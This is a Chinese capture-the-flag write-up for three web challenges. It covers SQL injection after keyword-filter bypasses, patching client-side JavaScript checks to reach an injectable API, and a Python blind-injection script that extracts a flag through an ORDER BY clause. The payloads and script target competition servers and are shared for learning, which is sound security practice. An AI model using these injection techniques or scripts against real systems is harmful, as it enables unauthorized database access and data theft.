simplesqlin
這個題嘗試點擊,注入點是id
,發現他把一些關鍵字符過濾了,如select
、from
等,那樣經過查找資料,可利用/**/
、00
、%0b
繞過過濾,經過嘗試%00
、%0b
都可以,那樣構造payload
得到數據庫news
得到表flag
得到列flag
最終得到flag
KoG
King of Glory is a funny game. Our website has a list of players.
查看源碼,是一道關於js的題
function GetUrlParms()
{
var args=new Object();
var query=location.search.substring(1);
var pairs=query.split("&");
for(var i=0;i<pairs.length;i++)
{
var pos=pairs[i].indexOf('=');
if(pos==-1) continue;
var argname=pairs[i].substring(0,pos);
var value=pairs[i].substring(pos+1);
args[argname]=unescape(value);
}
return args;
}
function go()
{
args = GetUrlParms();
if(args["id"]!=undefined)
{
var value = args["id"];
var ar = Module.main(value).split("|");
if(ar.length==3)
{
var s = "api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
$(document).ready(function(){
content=$.ajax({url:s, async:false});
$("#output").html(content.responseText);
});
}
if((ar.length==1)&(ar[0]=='WrongBoy'))
{
alert('Hello Hacker~');
}
}
}
var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);
這個當你輸入帶有敏感的字符,便會返回wrongBoy
,並彈窗
這樣的話,只要利用chrome進行單步調試,將不一樣的判斷語句除掉就可以
通過不間斷的調試,可知道第一個不一樣的地方,這時將$13
置true就可以
第二個位置就是$42
的值,當正確的時候$42
爲true,致使label
爲0,而錯誤的時候label
爲12進入中斷,這樣只要使if(0)
就可以
之後就能正常的注入了,不過由於同源策略的原因,異步請求交不過去,所以把源碼改成如下
<!DOCTYPE html> <html> <head> <title>King of Glory Player List</title> </head> <body> <script
src="https://code.jquery.com/jquery-3.1.1.min.js"
integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
crossorigin="anonymous"></script> <script src="function1.js"></script> <script type="text/javascript">
function GetUrlParms()
{
var args=new Object();
var query=location.search.substring(1);
var pairs=query.split("&");
for(var i=0;i<pairs.length;i++)
{
var pos=pairs[i].indexOf('=');
if(pos==-1) continue;
var argname=pairs[i].substring(0,pos);
var value=pairs[i].substring(pos+1);
args[argname]=unescape(value);
}
return args;
}
function go()
{
args = GetUrlParms();
if(args["id"]!=undefined)
{
var value = args["id"];
var ar = Module.main(value).split("|");
if(ar.length==3)
{
var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
window.location.href=s;
$(document).ready(function(){
content=$.ajax({url:s, async:false});
$("#output").html(content.responseText);
});
}
if((ar.length==1)&(ar[0]=='WrongBoy'))
{
alert('Hello Hacker~');
}
}
}
var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);
</script> <center><h1>King of Glory Player List</h1></center> <center><div id="output"><h2>hmmmm</h2></div></center> </body> </html>
function1.js
就是我們調整過得,接下來就能正常的發送請求了。
發現服務端並沒有再進行過濾了,然後由這個payload
id=1 order by 2
確定是2列了。
然後開始爆破
表名有fl4g,user
fl4g
列名就一個hey
所以
?id=1 and 1=2 union select 1,hey from fl4g
拿到flag。
Temmo’s Tiny Shop
Enjoy online shopping? It’s so convenient, and I like it very much.
這是一道條件競爭的題,當有錢後買hint
select flag from ce63e444b0d049e9c899c9a0336b3c59
這明顯就是注入題,首先找注入點在哪
發現在搜索的orderby處
通過if語句進行逐字判斷
腳本
import requests
import string
dic=string.ascii_letters+'0123456789~!*()-{}_'
r=requests.session()
url = 'http://202.120.7.197/app.php'
header={"Cookie":"PHPSESSID=3lqjrmgiuurlnmgerokt0kk8o6"}
def sendsort(TEMPLATE):
data = TEMPLATE
#print data
content=r.get(url+data,headers=header).content
if content.find('"id":"5"')>content.find('"id":"2"'):
return 1
else:
return 0
TEMPLATE = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1)like(%s),price,name)"
flag = []
for i in range(1,40):
for j in dic:
print j,
if sendsort(TEMPLATE%(i,hex(ord(j)))) == 1:
print 'ok'
flag.append(j)
break
else:
print 'no'
print 'Flag:',''.join(flag)
得到flag
這題好坑,爆出來好多_
、%
,還不區分大小寫